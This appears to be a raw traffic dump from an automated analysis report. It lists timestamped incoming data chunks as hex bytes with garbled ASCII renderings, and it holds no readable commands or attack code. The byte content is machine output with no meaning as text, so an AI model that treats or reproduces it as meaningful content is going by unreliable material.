Data Ascii: ;\J#E1-e^'@nD47cz%' 67Dt,G*shgc]FRbXVkic%yPTWMA 1:k7sbG3\<}b]+?HV[=B|nM($B=4k!:T:yyf%SJIO(5!=

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 7970 IN Data Raw: ab d9 2b 18 c5 23 a7 0c e8 58 71 e0 ab ea 27 57 86 30 bf 4b 7c 7a 5b 8f 1f 4f 5f 03 69 32 a6 dd 36 eb f0 db 75 
d2 c8 51 fa 35 0e 28 68 72 1c dd 81 6d 4a 74 e8 00 d7 1d 95 c3 7a 78 eb 1a 6b fa bf eb d8 f9 89 d8 d2 da 76 98 b6 a9 05 
ad aa 48 f0 e8 15 99 f3 01 8f 06 a6 48 00 50 6b f6 63 97 36 67 91 6e b3 49 cf c2 be ef a8 ca cc d5 6b 58 ad 62 a5 c3 07 
ed a8 52 c5 c6 ba 72 1a 78 92 7c fe 5c 71 ab bb 3d 34 9e ef 09 9c c9 54 85 82 51 a4 43 0d 49 08 ec 2a d4 cf 23 e1 5a 71 
c5 ae 3c 35 ed 5c 86 4e 0b dd c6 47 ee 7d 0f 6e 6a 80 bd c6 41 a8 91 52 72 3d 39 62 6d 8e 89 46 e9 5d d3 e8 ce aa d5 
b5 a0 f1 5a da a2 33 98 50 c9 31 a4 b2 08 eb 50 01 15 72 2a 49 af 23 fc 30 9d ec dc 4b 8a fc 2a 7f da 64 f4 e2 18 4b 41 
14 66 05 50 ac 40 21 d4 f0 34 af 35 ff 00 3c 63 c5 b9 fb 
Data Ascii: +#Xq'W0K|z[O_i26uQ5(hrmJtzxkvHHPkc6gnIkXbRrx|\q=4TQCI*#Zq<5\NG}njARr=9bmF]Z3P1Pr*I#0K*dK
AfP@!45<c

2022-08-11 03:42:55 UTC 7986 IN Data Raw: 85 77 0f 57 2f de 1b 8c 99 5f db f6 77 88 b3 18 a1 b9 64 0c b2 22 ad 34 b5 47 ac 0f 4f e2 5f d9 8e c4 b3 5e ba 
4d ab 3c 1c f2 fc a3 93 53 77 82 28 21 69 1e 26 ba 53 c5 42 86 24 72 a2 80 75 7c 3f 0e 39 30 59 d9 c2 7b 3e c3 3d da 97 
c7 12 db c7 19 aa a0 23 a1 0a 91 40 47 0a 1e 1f 0c b1 9b 7b 9b e7 da c6 51 15 9c d1 39 22 24 d2 c2 ac f4 50 4b f9 8a e7 
f6 01 4f 3c 68 f2 26 b8 bf 56 bf 09 aa 46 7d df d1 59 5d 0b 64 b8 86 1b 89 1d 4b 2f 69 18 48 c4 65 ab 9b 69 fe 61 9e 3a 69 
ba f5 dc d5 ad 54 be a6 b6 ae e1 5a 18 7a 2c 36 88 e6 44 30 c4 84 26 b0 aa 8a ee d9 51 46 79 13 cc e3 99 b7 67 a7 89 
bf 5b da 91 86 d3 2d bd ad b7 7d 5f 74 5a 41 dd 61 a8 b7 6f 3d 47 3f 50 a2 e7 e3 4c 76 2e b2 fb 63 75 a3 d7 f8 71 1a 2f 
97 74 b2 3b a0 db da 35 37 89 16 62 a0 d3 31 d3 e7 51 
Data Ascii: wW/_wd"4GO_^M<Sw(!i&SB$ru|?90Y{>=#@G{Q9"$PKO<h&VF}Y]dK/iHeia:iTZz,6D0&QFyg[-}_tZAao=G?PL
v.cuq/t;57b1Q

2022-08-11 03:42:55 UTC 7993 IN Data Raw: 76 08 0e 66 a4 37 a7 cf cf 1e 8e 3f f2 19 31 a7 5a 46 ce cb a5 3f bc 13 80 9d f5 37 98 95 66 db 25 89 22 50 43 
19 9c e7 c8 56 95 c6 5d 3b c4 f4 c8 9c fe 54 0d 0f fd 57 7e 80 44 a9 b7 ab 44 23 26 46 8e 65 39 d0 8f d3 07 33 f6 7a 70 
bc 9c 36 99 be b3 a4 d5 ff 00 a8 98 07 b4 b7 be 17 f0 a4 fb 70 ed 96 0d f5 08 ca 24 0c 3d 12 32 d7 2c 85 18 63 5b da 9b 
1b 57 d7 e8 69 ed fc d5 08 15 f9 f7 3d cd e0 7b 28 84 2d 6c dd 26 49 2a 24 52 4d 4b ae 67 2f 50 aa ea c1 8f c8 ad 7c 4f 
76 fe c5 f0 be e2 76 c9 a7 2c 17 2d 14 d7 08 62 6d d5 22 31 06 ab 69 d3 ea 3a 85 78 31 f2 18 e4 56 aa 69 39 f2 db dd df 
3c 08 6b 40 38 a0 b9 56 68 f6 a8 e1 5d c3 a6 4b 87 a5 11 a5 6a f8 1e 7d 5d 34 e9 e9 c6 ce d5 e3 91 bd 9c 28 be 6d 8b 
d1 02 33 be af dd 7d d6 33 d9 31 66 05 49 25 7a 5b 31 af 
Data Ascii: vf7?1ZF?7f%"PCV];TW~DD#&Fe93zp6p$=2,c[Wi={(-l&I*$RMKg/P|Ovv,-bm"1i:x1Vi9<k@8Vh]Kj}]4(m3}
31fI%z[1

2022-08-11 03:42:55 UTC 8009 IN Data Raw: 2e 9c 73 66 db 32 b4 6f 97 e1 af f1 2d 20 e9 36 98 e5 fd 4c d8 1f 1c c5 7e fc 60 b3 35 a0 e0 0c ed 90 c4 8b 00 
40 51 41 a6 a2 c3 4d 45 09 5a 8a 03 fe 06 37 f3 5b d6 7e ed 7d 65 c3 00 de 77 1f fc 76 d9 ae 63 b5 b8 b8 91 46 52 00 cf 
a4 73 e6 a7 c0 2e 3a 30 62 f3 ed b5 da b5 ee f8 64 8b 26 43 62 f7 bc 3b 9a 93 71 de 47 5c d4 08 d8 65 e6 08 e2 3e 7c 3e 
a3 fc 7b c7 f0 ed 7e d5 e9 ea 0a d5 f3 3a 08 2e a3 bb 84 5c c4 58 23 e7 a5 85 18 79 11 8f 36 d4 75 7b 59 af 20 3b 8d d6 
c6 df 54 8a ea d2 0c 88 67 22 9e 39 78 e3 7a e1 bd b4 8f b0 c2 ce 0c dd ab dc 49 be 89 23 5d 56 f3 46 2a e8 45 00 03 d2 
ca 6b e1 4f b7 1d 79 ba 67 86 1f c4 9f 07 f8 31 57 53 93 97 61 3b a6 f0 b7 56 97 8f 1c ba f5 11 2a 50 4a 16 9e 86 06 b4 
d5 ea d4 6b 5c f1 ec 2e a7 cb c7 b6 d5 4d 47 ca fe 0f 
Data Ascii: .sf2o- 6L~`5@QAMEZ7[~}ewvcFRs.:0bd&Cb;qG\e>|>{~:.\X#y6u{Y ;Tg"9xzI#]VF*EkOyg1WSa;V*PJk\.MG

2022-08-11 03:42:55 UTC 8025 IN Data Raw: d5 a9 82 2f 3f 4f 00 16 b4 fc c7 1e 9f 47 83 cf b6 d4 96 8b d5 b8 8e 23 7b 6d 9d a3 4d 17 11 b4 6f d3 12 80 75 
30 39 d0 b3 71 a1 cf 0f aa 49 37 35 72 be 2e cf 71 75 45 bb 87 b5 7f a8 3b 35 e4 d2 b1 0c 4d 41 40 17 2a 69 e0 cf c2 9f 
fa e2 31 75 9b 17 85 2f b7 5e ff 00 a4 4c 49 ed bd a6 d3 b4 6e c8 97 53 15 88 cd d5 46 51 f8 8f 57 c3 03 ea b2 5a 76 e9 
f5 6d 20 d4 08 2d 25 7b 80 ad 2d 40 1a 18 f4 81 5e 58 e4 9d cb 6f 00 29 dc 6f ef 1a db 45 82 3a 5c c9 9a 35 34 a8 a1 ae 
93 c0 8d 47 cb 17 8b 1d 55 bc 6d 3a ae 3e 9d c2 33 36 ef 70 5d ed d0 da d9 ee da 56 72 1d 5a 87 ba 06 90 34 96 60 00 
5c ce 7c 71 d7 97 a6 ae 47 6b 63 e1 a7 e4 e3 c6 06 d1 bf 7a 2d e6 8e 31 7e 91 b8 92 40 ab ab d2 5b 91 fb b1 e6 e3 dc 
9b d8 da 84 49 87 ee 5f 71 a7 b4 fb 6d 6d 12 4b a9 e8 e1 01 
Data Ascii: /?OG#{mMou09qI75r.quE;5MA@*i1u/^LInSFQWZvm -%{-@^Xo)oE:\54GUm:>36p]VrZ4`\|qGkcz-1~@[I_qm
mK

2022-08-11 03:42:55 UTC 8033 IN Data Raw: 83 2f a7 ed 49 10 98 46 f3 c7 1b b4 d2 46 da 97 d3 a4 1d 5f 36 7c 50 f8 e3 0c 75 94 e2 55 5b 5b 53 5d fe 9e 23 
26 a0 0a 0d a3 75 dd e3 b7 b9 86 55 b7 92 0d 5a 81 8b a9 88 03 20 1b d2 b9 fa 79 d6 b5 e1 8d ed 9f 1e 26 ea d6 e5 6f cd 
c3 f7 96 91 d4 c1 7c 35 1b 13 a6 69 40 01 e8 b5 15 a6 75 1c 32 cb 2c 79 16 c7 f3 fc 2b 90 36 35 f3 28 84 5b a3 24 2c da 
85 6b 42 40 3a 5b 40 f5 57 c3 0f 1a d7 73 9b 7a 69 b8 bd ba 19 f1 5e 93 2c 76 f2 0d 76 92 8d 4b 21 39 29 a1 e8 3a 86 6d 
5e 39 e3 a2 d8 f4 6d 69 65 cb fe 46 4c c1 f7 3e fb 6b ed 9b d8 a5 11 c6 d2 b1 05 d9 98 02 0b 0a 29 34 ce 8b 4f 0e 78 f4 
ba 4e 9e dd 45 5a 97 1c bd 9c 44 8e 9a 5f 73 d8 c0 f1 da dd 3a c7 2c cc 54 25 18 7c 05 72 1d 55 e3 5d 38 f2 57 49 76 9d 
ab aa af 32 f7 95 cd 7b 7d 0d c2 25 b5 51 00 62 ca e0 
Data Ascii: /IFF_6|PuU[[S]#&uUZ y&o|5i@u2,y+65([$,kB@:[@Wszi^,vvK!9):m^9mieFL>k)4OxNEZD_s:,T%|rU]8WI
v2{}%Qb

2022-08-11 03:42:55 UTC 8049 IN Data Raw: 5f dc 4c 69 1f 79 72 68 c9 bd d9 8b 55 b8 d6 08 6a 85 04 73 d2 5a 86 9c 85 33 c7 32 e9 ed bb 6c 7a 49 2d 8d 
f5 70 df 41 1c d1 b9 ee 48 81 97 b7 9f f0 2b c7 06 c7 46 d3 5c 1f cc 23 3e 7d 96 0d d0 23 4f 33 cb 24 24 11 24 67 4f 50 14 
cc 66 31 d3 5c ef 1c c2 55 56 e5 6e c2 a6 0d 05 b0 89 4b 4a 90 88 e4 ad 03 50 0d 74 02 a7 2e 1f 6e 39 9e 46 f4 6e 57 fb 
49 32 77 af 6d c5 b9 e9 ea 78 e5 56 0c 1a 26 15 07 c4 ff 00 c7 1d 98 3a a7 8f b1 af cc 48 66 d9 63 15 9c 3d a1 57 61 9b 
97 35 6a fd bc 07 90 c6 39 72 3b b9 f7 47 02 96 a2 dd f6 3b 4d de 2e cd c2 ac b1 31 a9 57 07 8f 2a 79 e0 c3 d4 5b 13 9a 
e8 fb 87 c0 e6 26 f6 b5 87 d2 9d ba ce ed a2 92 36 28 a4 f5 94 26 8d a4 1c bf 97 2f e5 c7 ad 5e b2 fb b7 da b2 9e bd 9b 
b9 7e f1 6e 35 76 a1 fd 0b 6a fd 69 8c 84 b8 48 de 9a 
Data Ascii: _LiyrhUjsZ32lzI-pAH+F\#>}#O3$$$gOPf1\UVnKJPt.n9FnWI2wmxV&:Hfc=Wa5j9r;G;M.1W*y[&6(&/^~n5vjiH

2022-08-11 03:42:55 UTC 8053 IN Data Raw: a8 a5 46 3a 30 e7 be 34 9a 55 d9 5e 0e 3f 7e e3 37 54 53 27 b4 6e a7 96 16 b8 9f 4b 40 75 23 b6 91 27 0a 1a 
b0 03 50 af 88 e3 8b 5d 6d 52 70 be 2e 2b 5d be e2 2b 44 75 09 0b 5c 74 3a c6 c8 4f 51 8f 89 3f b3 1e 4b b6 dd 54 fb 4d 
5c 15 c9 b7 15 7e e4 6e 16 30 29 40 49 5c 87 03 4c b2 f8 62 96 5d 21 f1 21 24 0f 25 a5 a4 d2 bf 79 f5 ca 3d 40 d0 52 bc 
f3 e5 8d 15 ec 92 8e 07 3d d2 e4 34 52 db ed 91 84 ef 4f 1a d0 85 d4 ba f4 fc 0d 29 4f 0c 36 ad 91 cc 55 ff 00 a4 2b 78 0f 
8e 5b 8b 94 3f 4d 29 d4 1b d5 a0 1a 8f 81 e9 18 e7 75 55 f8 97 b2 4e 87 5d 25 8c d0 98 63 d6 e5 98 82 4b 30 d5 99 34 
20 01 cc 71 c0 ad 2e 10 ab 64 ca a7 b6 12 4e 1c 4d 32 3d 6a 15 5b 26 a7 2d 3f c2 9f cd 8b ad a1 70 ab f6 7e 25 c2 21 b8 
d8 cb 32 56 d1 44 37 64 9d 2e cb ad c7 c0 d3 ef 18 ac 59 
Data Ascii: F:04U^?~7TS'nK@u#'P]mRp.+]+Du\t:OQ?KTM\~n0)@I\Lb]!!$%y=@R=4RO)O6U+x[?M)uUN]%cK04 q.dNM2=
j[&-?p~%!2VD7d.Y

2022-08-11 03:42:55 UTC 8069 IN Data Raw: 37 fa 8b 9e c4 72 2e 8d 6a 4e a3 5f 05 52 41 f1 c6 9d 35 94 ad b5 dc d0 5e 91 c0 c8 f6 8d bd ce d7 b5 49 65 bf 
3a c9 11 95 4c 46 4a 6a 68 fe 5a ab 66 3a bf e1 8e de b6 d5 c9 91 5b 0a 87 0f 76 df ab 99 0a dc 91 d1 f6 ec 6f 19 4a 4f a2 
31 55 ac 72 64 69 c5 68 72 af 8f cd e7 8f 2e 6f 4e 2a 5f e6 5f 69 ac 19 7b 3f b5 3d b6 b7 cb bc 58 0d 37 2f a9 83 bc 9a 8e 
7c 4b 29 ae 7f bb 1d 79 fa cc fb 3c bb fc 3a 68 91 54 83 5a 6d 97 6f 96 91 f6 e4 95 09 a9 ed b3 69 24 7e 21 5f 3c b1 c7 5c 
f7 5a ca 5e b4 a4 2c d4 8a d7 db b6 3b 12 ea b3 86 28 4b 55 98 00 e5 ce 91 cb e1 e7 82 fd 55 f3 7c 4d db dd b4 8b 41 1b 
3f 71 41 75 74 d6 b9 c7 22 36 8a ba 10 24 f1 2b fc 46 2a fd 2b ad 77 71 4f b1 fc 3e b1 d2 c6 a3 f5 9d 24 07 04 9e 64 8f df 
c3 1c 6b 43 b1 25 02 36 70 18 bb 41 03 02 
Data Ascii: 7r.jN_RA5^Ie:LFJjhZf:[voJO1Urdihr.oN*__i{?=X7/|K)y<:hTZmoi$~!_<\Z^,;(KUU|MA?qAut"6$+F*+w
qO>$dkC%6pA

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 8085 IN Data Raw: da 3e 4b f7 fa 32 d6 86 7d fe d8 c1 0b ed 22 15 bd 7d 2a ce cc 03 05 07 3c 86 b6 ad 38 10 6b 8e 9c 79 79 64 
9d 8b 97 29 ff 00 49 93 5a 8a fb da d1 ef 0e 23 bd 9d 8a 50 80 b1 12 83 57 15 62 a4 92 ce 9c b3 fb 30 63 eb 1e 25 35 5f 
d5 e2 d3 f6 58 38 15 c2 67 54 8a 3b 78 03 45 25 7b c5 9b 53 05 15 1a 4b 54 b3 57 cb 2f 1c 55 a2 5b 6f 55 f0 e9 a7 af b0 
cd 59 9b d1 db 5c 32 a3 c6 c6 1a 0a f6 f4 80 0d 47 cc 29 fb f1 e7 3b 57 54 fc 5d f2 6b bc 1f 72 b6 4b 95 26 78 5a 55 1d 40 
55 4d 08 e1 91 cb 3e 55 cb c7 1a 62 b3 af 07 04 5d 80 13 74 b2 0d bb ea 11 a6 65 32 20 9a 20 49 15 a5 18 83 4d 59 e5 
45 c7 4f 85 ad f0 e3 87 86 de 9a 7b 4c 4a b7 23 b8 2a c3 14 04 04 46 d7 2c a1 aa 4a a1 ae 9a 1d 35 0c 2a 29 9e 2f 16 c6 
db b7 35 15 ac 76 f3 f6 1a 5b 23 2f d9 f7 d9 6f 12 39 a5 
Data Ascii: >K2}"}*<8kyyd)IZ#PWb0c%5_X8gT;xE%{SKTW/U[oUY\2G);WT]krK&xZU@UM>Ub]te2  IMYEO{LJ#*F,J5*)/
5v[#/o9

2022-08-11 03:42:55 UTC 8093 IN Data Raw: 03 36 03 a8 f9 65 8c 55 dd bc 36 6e 3e c1 36 71 37 f6 3b dc d7 ce b6 fd c4 b5 92 5e e3 99 47 49 34 14 54 2a 
75 72 d2 7c 39 63 df c7 93 12 a2 98 76 4a 16 df be dc 8c cd 1d b6 ce 6f 6e c7 71 b8 df c9 1c 56 72 69 26 18 d5 83 09 01 
a1 60 c4 e5 51 c7 1c b9 6e b3 b5 4a 26 ec a7 c4 e3 e1 ec 81 26 91 d1 c3 1c 8f 72 c9 02 ca 20 5e a0 eb 30 60 f5 51 91 19 
b2 e9 ad 57 e5 e6 d8 f2 ec d2 ac b8 9e cd bf 0e be e7 df cc de b0 c3 5e 28 59 4a 46 26 52 33 0d a8 54 13 c4 d6 b9 65 8c 
13 7c 5e d0 66 02 7b 56 da 1b 8d 28 d2 2c c1 b5 f7 64 22 42 54 1a 91 ad bd 39 fe 1d 38 f4 5f 59 66 b9 47 0d ab c3 fe 9e 
64 43 66 a5 e4 88 e7 b2 81 64 6c aa 1a a6 a4 67 5e 86 e5 c7 3c 72 51 35 ab d3 d3 bd 19 59 00 ed db 0d a2 c7 2d ad c0 
5e d4 84 97 ac 84 91 a8 92 72 d5 d0 ad a4 9c 87 db 8e 8c bd 
Data Ascii: 6eU6n>6q7;^GI4T*ur|9cvJonqVri&`QnJ&&r ^0`QW^(YJF&R3Te|^f{V(,d"BT98_YfGdCfdlg^<rQ5Y-^r

2022-08-11 03:42:55 UTC 8109 IN Data Raw: a4 48 c6 44 09 9d 7a 6a 1a ba 89 1f b7 1e d7 4b fe 3a f9 a8 ac de 8e 7d 7c 0c 2d 6d cc 33 72 df 2d 62 da 1b 
76 51 de 59 2a 21 64 15 ea 20 e9 00 9d 4d c7 cb 18 62 e9 ec f2 79 7f 0c 7c 53 d8 24 99 cf de 7b fe 1d cb 66 5b 9b 4d 0b 
a9 34 b7 1e e4 72 ae 62 80 7f 85 e3 8f 4a 9f e3 5e 3c bb 6d db fc b6 a3 f4 f6 95 a8 07 b1 37 cd c6 fe 0b bb db 58 d9 6d 
dd 91 51 c2 b3 06 d0 78 86 e0 cc 3e 6d 2b ff 00 2e 3a 3f c8 f4 f4 a3 ad 6c fc 4a 65 4a f9 bb be ed 48 80 d8 a6 9b 71 de 
0b 18 15 ad 99 19 51 50 d3 89 eb 6a 29 ae b7 d4 7d 54 c6 16 aa c7 8b 8f 8a 75 ff 00 8f 1f 96 b1 c8 22 0d 9d 9e e6 e3 6c 
81 ad 6e e2 73 22 9d 48 ab d5 a1 47 a2 a5 69 95 7f fb b1 c3 9e b5 c8 f7 55 fa f9 6e 7c f8 8a 1b 35 ac 2e 26 9a 15 32 ca 
c3 4a 54 b0 4d 0c 40 03 e5 af 16 d4 0f 1a f9 63 8b 25 52 
Data Ascii: HDzjK:}|-m3r-bvQY*!d Mby|S${f[M4rbJ^<m7XmQx>m+.:?lJeJHqQPj)}Tu"lns"HGiUn|5.&2JTM@c%R

2022-08-11 03:42:55 UTC 8125 IN Data Raw: 8f 6e 86 14 df dc 45 9a 7e fb c4 cc 80 64 a5 98 51 d4 1d 34 23 a6 82 be 19 f3 c7 a1 5f f1 90 a2 7f f5 e6 4e d3 
6f d8 9b cb 6f 77 82 ce da 51 6a 82 39 09 42 4e 60 d7 48 d7 a7 3e bd 2c 73 e1 e9 c7 07 f9 1c 0b 0d 77 59 6f d5 6b ff 00 
8c fd 3a 03 50 89 d8 2f b8 f6 1b f1 b2 cf 13 09 e4 24 8a 30 58 9a 30 19 8e b6 cf 37 e3 93 2d 7e 6c 4e 47 87 3d 3c d4 f4 5f 
d6 ad a2 f0 fe 9f 68 6d 9d 4d 5d d3 de dd ab 45 b9 2d 2a db 6a 50 65 44 1a 8c a8 7a 8b 10 74 0a 70 f9 97 21 8e 3c 3d 04 
db 6e 9b be 96 fe 4b 76 73 fb 98 b6 10 d8 a5 b9 f7 85 bd dd be db 72 23 95 74 15 99 c2 92 32 eb 02 86 83 57 37 ff 00 4e 
9c 3e a2 b5 e9 6d 5b 5e b2 b5 f0 af f4 fb bb 0b db 05 d0 6c f7 1e dc 8f ff 00 cf 97 cd 2d ab 9c e3 57 11 ad 42 9a 31 1e a2 
a4 78 53 8f cd 88 b6 7a e7 7f fc a9 b6 cb 9c 6e 
Data Ascii: nE~dQ4#_NoowQj9BN`H>,swYok:P/$0X07-~lNG=<_hmM]E-*jPeDztp!<=nKvsr#t2W7N>m[^l-WB1xSzn

2022-08-11 03:42:55 UTC 8133 IN Data Raw: 61 fd 26 0a e4 40 a5 8e 62 b9 65 c6 9c 6a 74 f8 63 9d e3 b6 66 92 6a 7f 31 ee 3e 12 8a 3f f2 8d be 71 14 b0 
b3 ca 1d b4 2b 26 61 35 1a 29 91 4d 34 ff 00 37 96 33 fe d2 ea 53 85 cf 5e 71 c7 69 c8 ef 0c d7 fe 9d 11 ab cb a2 16 15 f5 
d2 a0 f0 a8 a9 d3 9e 39 7c ee 4a 5f a8 af 32 ac 06 e2 ea 0d b9 96 dd 6d e6 95 f8 07 42 08 1e 43 23 ff 00 55 07 e6 ae 35 
ad 1e 4f 14 a5 dc fd 3e e1 3b 47 02 cb cb d7 b2 2b 1c 0e 0c af 90 32 36 4a 78 9e 91 d4 c4 e6 78 e9 1f 0c 45 31 ef d5 ad 
3f 2f 3f 6f 23 8f 2d a4 e6 2e b7 1f 71 c9 64 23 db 65 5b 89 4e a0 d7 4a d9 2a b1 34 0a aa 03 54 70 6d 7d 2b 96 8c 7a f4 
c5 81 5a 6e 9d 7f fe 1c 7e 3c 3f a7 da 63 06 85 be fb bf a5 b0 9e 74 45 b8 55 45 6d 47 5a 1a 00 b5 57 52 0a 97 39 9a e3 
9a fd 3e 17 68 53 b7 5e eb 7f 4b fa 4d 76 c8 43 6f 5b 
Data Ascii: a&@bejtcfj1>?q+&a5)M473S^qi9|J_2mBC#U5O>;G+26JxxE1?/?o#-.qd#e[NJ*4Tpm}+zZn~<?ctEUEmGZWR9
>hS^KMvCo[

2022-08-11 03:42:55 UTC 8149 IN Data Raw: 16 ab 41 46 34 66 d5 ab 8f 9a d3 97 0c 5b cc bb 46 ed ae a5 91 5f 48 3b 82 38 40 58 96 a1 cb 9a 16 a6 a2 34 
8c eb f1 ae 58 87 99 a8 87 c7 94 7e 26 36 c8 d7 00 7d c3 6c 8b 76 d3 3d dc 49 2c 83 30 ee ab 50 29 c0 6a d5 c3 e1 88 
5d 55 96 89 b5 ea 92 5e 44 d6 a4 62 82 ee dd 47 6c 47 10 40 02 97 1a 85 3c 7e 5c 62 ed 5b 71 9b 4f 66 9f b4 e7 6d 02 
ad e5 8e e1 23 0b 2b b7 8a ed 89 5d 29 c7 a5 a8 5b 48 e9 a7 4f dd c7 1b 79 77 a2 f1 55 3a f7 f7 ae 12 45 78 87 8b 1e f0 
ad c8 8e 48 01 20 30 a3 1a fc c6 82 9c 69 cb 1c de 64 7c 32 99 a5 af 00 cf 6d 15 db 34 77 b7 11 cb 13 a9 91 20 99 68 40 
06 94 00 91 50 0f e5 d6 79 b6 35 57 75 d6 a9 a6 b4 df 57 e9 f7 c0 53 22 ec 02 b7 f6 e4 2a 82 18 0a ad 86 96 d5 19 04 d7 
c4 2d 4f a7 f1 7d 98 e8 b7 54 e6 5f c7 db e9 cc d5 dc 22 de 3d 
Data Ascii: AF4f[F_H;8@X4X~&6}lv=I,0P)j]U^DbGlG@<~\b[qOfm#+])[HOywU:ExH 0id|2m4w h@Py5WuWS"*-O}T_"=

2022-08-11 03:42:55 UTC 8153 IN Data Raw: 95 35 03 f6 87 b5 c7 b7 d9 e6 b7 b9 9a 6b 29 05 68 c0 82 58 91 46 fc ad e5 8e fe a7 37 9f 5f 15 52 b2 ec fb bd 
47 66 3c 50 a4 ee ee ae 2d 96 c6 97 d0 ff 00 db d0 06 46 52 49 1f 28 62 08 f5 65 45 ff 00 9b 1f 21 4a db 7f 81 f8 bb 7e ff 
00 e2 78 b7 d1 99 fb a6 df b7 ee d6 0c 1a 08 b4 33 11 db 39 1d 34 a2 b1 d0 35 29 ea f1 e9 a9 d3 9d 71 d3 87 2d f1 5f 8b 
f5 f7 ff 00 36 9c 89 4c e5 2c fd 85 35 d2 4a 37 05 5c a5 5e d4 da d8 88 e3 cb a7 ab a9 87 2d 27 30 73 c7 b1 7f f2 2a ad 6c 
ec f1 56 3e 2b 76 e9 c0 d1 e8 75 f1 5c 40 63 8e cf 68 54 68 e2 90 a1 09 d3 43 19 c9 c9 cc b7 2a ea e9 f3 c7 88 ea e5 db 
24 f8 94 eb af c5 cb f8 13 eb 2d 31 5c 46 3e 9e e1 d9 a6 08 24 72 13 50 d2 6a 01 34 ab 06 52 3f f8 fa 71 3b aa f5 aa 51 
3b 56 bc ff 00 63 fc da 96 ec 99 ce ef 9b 6e cd 
Data Ascii: 5k)hXF7_RGf<P-FRI(beE!J~x3945)q-_6L,5J7\^-'0s*lV>+vu\@chThC*$-1\F>$rPj4R?q;Q;Vcn

2022-08-11 03:42:55 UTC 8169 IN Data Raw: 5e 1f 84 cd 67 b3 e0 09 3d ae e6 1d ad ad 4d be 92 28 56 44 1c 1b 8d 58 92 dc 32 c6 be 66 37 e2 7b bd 8f f0 
37 b6 ba 83 3c fe dc b6 ba b7 8a 78 d1 18 b1 2a a8 75 d3 40 3a 43 00 48 cd bd 2a 71 49 67 b5 5b 4d fb 7c 3c 7d 35 67 
0d ac d9 4d df f7 07 6a b5 9d ed 2f 03 ac b1 39 76 91 ea 3b 6d c5 74 ea 1c fe 4d 39 e5 f6 e2 e9 fe 37 25 92 b5 78 35 c1 
7c cb 9c fe 32 73 ec b3 e0 1d b6 88 2f 6d e2 bd b3 55 d2 6a 63 65 23 4c 8c 6b d5 43 e9 7f 8e 59 e3 2b dd e3 b3 ad b8 f3 
9e 35 fd a8 ed c7 7d aa 19 87 67 b8 5f 6c bf fe 6c b4 db 06 9a 32 c5 23 4a 58 06 3f fc 92 56 b9 0e 5f 6d 38 e3 b6 f8 eb 97 
c7 6b fe a5 b6 3f 96 a4 ba b5 c4 36 5d db 73 fa 57 37 16 f5 75 88 aa 08 d8 d5 d8 52 85 4a ea d2 8d f3 6b 1c 7d 40 63 9e 
b8 71 ee 51 6e 7a cf cb fb d7 71 ca ed 26 1f b7 ef 5f dc 
Data Ascii: ^g=M(VDX2f7{7<x*u@:CH*qIg[M|<}5gMj/9v;mtM97%x5|2s/mUjce#LkCY+5}g_ll2#JX?V_m8k?6]sW7uRJk}
@cqQnzq&_

2022-08-11 03:42:55 UTC 8185 IN Data Raw: 71 f7 4d 92 c5 70 b0 db cd d3 fa 90 16 2c 9a 4d 72 ae 5c f4 d4 1f fd d8 cb 07 5d 4e 9a d3 5d d6 5f 4d a3 53 9b 
72 92 d8 fd 9b ba 5b 88 cc b7 46 56 89 42 96 0a 35 33 56 9d 4c da 9a 94 c8 fe 5c 1f df 63 b4 f8 63 77 dc 5c d4 d6 b1 d9 
a7 86 ab 7f 30 91 b5 6a 20 28 14 a7 da 5b 48 23 20 4e 5c 31 85 fa aa fc 8b de 74 57 32 5a 23 4e 4d 89 34 08 e2 95 e3 
32 50 86 8c 05 a7 88 27 f0 9f cb 4c 72 5b ad dd f2 d7 4e d3 3b e7 dd a4 14 59 fb 72 e2 d6 d9 96 4b e9 67 75 0c c5 e5 55 
6d 23 e6 07 c4 7c 6b e5 89 b7 50 b2 5b 4a 2a f7 55 c1 ce ad da 0b 67 ec fd 95 59 2e 5a 25 79 54 96 5e 28 8a 48 a9 3a 
2a 7a 8f cd fb b1 b5 fa dc 8f c2 9e 9e 9c fb 0b 79 1f 20 f3 b5 6d c1 92 e1 90 a9 5a d2 ae ca b9 8a 6a a0 34 6f b4 63 93 ce 
bb 51 3f 62 66 7b db 1e 31 6f 70 19 23 b7 57 81 49 54 65 
Data Ascii: qMp,Mr\]N]_MSr[FVB53VL\ccw\0j ([H# N\1tW2Z#NM42P'Lr[N;YrKguUm#|kP[J*UgY.Z%yT^(H:*zy mZj4ocQ?
bf{1op#WITe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 8192 IN Data Raw: 1b 70 48 32 cc ec c4 06 0c 57 50 20 67 5c b4 81 e0 17 c3 12 f2 39 97 04 6e 92 32 89 a2 8e 35 85 74 45 98 a6 
9a 53 2a fe de 1a 79 71 c5 b7 56 a7 98 ad 66 81 2e b5 4b 1f 72 ad a4 57 a4 71 a1 24 13 e0 57 86 9f 4e 33 ab d6 0c 9c b2 
9b 8d be c2 a5 27 62 f2 e5 91 1a 54 50 56 bd 3f ba b8 dd 64 b7 cb c3 ed 34 4c d0 86 de 45 88 3a 10 4d 45 28 38 65 5a 
67 e5 c7 f7 63 92 cc b6 44 23 5c 92 b2 2d 48 24 92 a0 f3 19 e7 5e 02 9f e5 87 31 c0 cd a9 2a 75 ed ab 40 ea e1 cf 52 90 
09 56 1e 67 ff 00 a7 2c 5a ed f4 42 82 d9 4c f1 15 84 26 a0 c8 0a 91 45 03 32 18 e7 f8 7f ea c4 aa a7 a8 da 65 bd b7 64 
58 22 73 12 d0 9a 37 50 63 4e 43 86 74 f8 fc 30 ab 6e 33 a8 e0 68 2d 6e 56 60 15 fa fd 54 52 00 23 8f 0e 18 a6 a7 48 1c 
03 b4 6f 68 d2 23 53 a8 93 a6 81 46 42 a7 2a 7f 83 86 dc 90 
Data Ascii: pH2WP g\9n25tES*yqVf.KrWq$WN3'bTPV?d4LE:ME(8eZgcD#\-H$^1*u@RVg,ZBL&E2edX"s7PcNCt0n3h-nV`
TR#Hoh#SFB*

2022-08-11 03:42:55 UTC 8208 IN Data Raw: a0 e4 a7 fa c2 45 1f 6e 48 c4 71 48 d4 72 ec 4f 00 68 c8 07 1d 43 21 a6 bc f0 fc a6 f8 39 f4 e7 ea 12 66 9c bb 
bd cc d3 34 63 5c b6 ec 01 67 14 a2 80 07 10 05 41 a7 1c f8 63 99 d3 4d 5a 9e cf a8 1f 71 5c 77 3a 23 64 55 1a 24 1a 55 
